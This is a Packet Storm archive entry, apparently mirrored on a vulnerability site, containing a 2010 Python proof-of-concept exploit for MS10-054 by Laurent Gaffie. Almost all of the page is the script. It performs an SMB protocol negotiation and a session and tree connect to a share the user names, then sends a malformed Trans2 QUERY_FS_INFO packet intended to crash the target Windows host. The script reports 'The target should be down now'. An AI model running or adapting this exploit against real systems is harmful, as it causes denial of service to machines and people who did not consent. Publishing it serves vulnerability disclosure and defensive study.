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MS10-054 Proof Of Concept

🗓️ 12 Aug 2010 00:00:00Reported by laurent gaffieType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 25 Views

MS10-054 Proof Of Concept code in Python for SMB exploi

Code
`#!/usr/bin/env python  
import sys,struct,socket  
from socket import *  
  
if len(sys.argv)<=2:  
print '#######################################################################'  
print '# MS10-054 Proof Of Concept by Laurent Gaffie'  
print '# Usage: python '+sys.argv[0]+' TARGET SHARE-NAME (No backslash)'  
print '# Example: python '+sys.argv[0]+' 192.168.8.101 users'  
print '# http://g-laurent.blogspot.com/'  
print '# http://twitter.com/laurentgaffie'  
print '# Email: laurent.gaffie{at}gmail{dot}com'  
print '#######################################################################\n\n'  
sys.exit()  
  
host = str(sys.argv[1]),445  
  
packetnego = "\x00\x00\x00\x9a"  
packetnego += "\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
packetnego += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc3\x15\x00\x00\x01\x3d"  
packetnego += "\x00\x77\x00\x02\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50"  
packetnego += "\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00\x02\x4d\x49\x43\x52"  
packetnego += "\x4f\x53\x4f\x46\x54\x20\x4e\x45\x54\x57\x4f\x52\x4b\x53\x20\x33"  
packetnego += "\x2e\x30\x00\x02\x44\x4f\x53\x20\x4c\x4d\x31\x2e\x32\x58\x30\x30"  
packetnego += "\x32\x00\x02\x44\x4f\x53\x20\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31"  
packetnego += "\x00\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f"  
packetnego += "\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00\x02\x4e"  
packetnego += "\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00"  
  
def tidpiduidfield(data):  
all_=data[28:34]  
return all_  
  
def handle(data):  
##Chained SMB commands; Session Setup AndX Request,Tree connect  
if data[8:10] == "\x72\x00":  
sharename = "\x00\x00\x5c\x5c\x5c"+str(sys.argv[2])+"\x00\x3f\x3f\x3f\x3f\x3f\x00"  
packetsession = "\xff\x53\x4d\x42\x73\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00"  
packetsession += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xd5\x15\x01\x00\x81\x2f"  
packetsession += "\x0d\x75\x00\x7a\x00\x68\x0b\x32\x00\x00\x00\x00\x00\x00\x00\x18"  
packetsession += "\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x3d\x00\x01\x01\x01"  
packetsession += "\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"  
packetsession += "\x01\x01\x01\x01\x01\x59\x4f\x00\x57\x4f\x52\x4b\x47\x52\x4f\x55"  
packetsession += "\x50\x00\x57\x69\x6e\x64\x6f\x77\x73\x20\x34\x2e\x30\x00\x57\x69"  
packetsession += "\x6e\x64\x6f\x77\x73\x20\x34\x2e\x30\x00\x04\xff\x00\x00\x00\x00"  
packetsession += "\x00\x01\x00"+struct.pack(">i", len(sharename))[3:4]+sharename  
print "[+]Session Query sent"   
return struct.pack(">i", len(packetsession))+packetsession  
  
##Trans2, Request, QUERY_FS_INFO Query FS Attribute Info  
if data[8:10] == "\x73\x00":  
packetrans = "\x00\x00\x00\x46"  
packetrans += "\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x01\xc8\x00\x00\x00\x00"  
packetrans += "\x00\x00\x00\x00\x00\x00\x00\x00"+tidpiduidfield(data)+"\x13\x00"  
packetrans += "\x0f\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
packetrans += "\x00\x00\x00\x02\x00\x44\x00\x00\x00\x46\x00\x01\x00\x03\x00\x05"  
packetrans += "\x00\x00\x44\x20\x05\x01"  
print "[+]Malformed Trans2 packet sent\n[+]The target should be down now"  
return packetrans  
  
def run():  
s = socket(AF_INET, SOCK_STREAM)  
s.connect(host)  
s.settimeout(2)  
s.send(packetnego)  
print "[+]Negotiate Protocol Request sent"  
try:  
while True:  
data = s.recv(1024)  
s.send(handle(data))  
except Exception:  
pass  
s.close()  
run()  
  
  
`

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12 Aug 2010 00:00Current
7.4High risk
Vulners AI Score7.4
25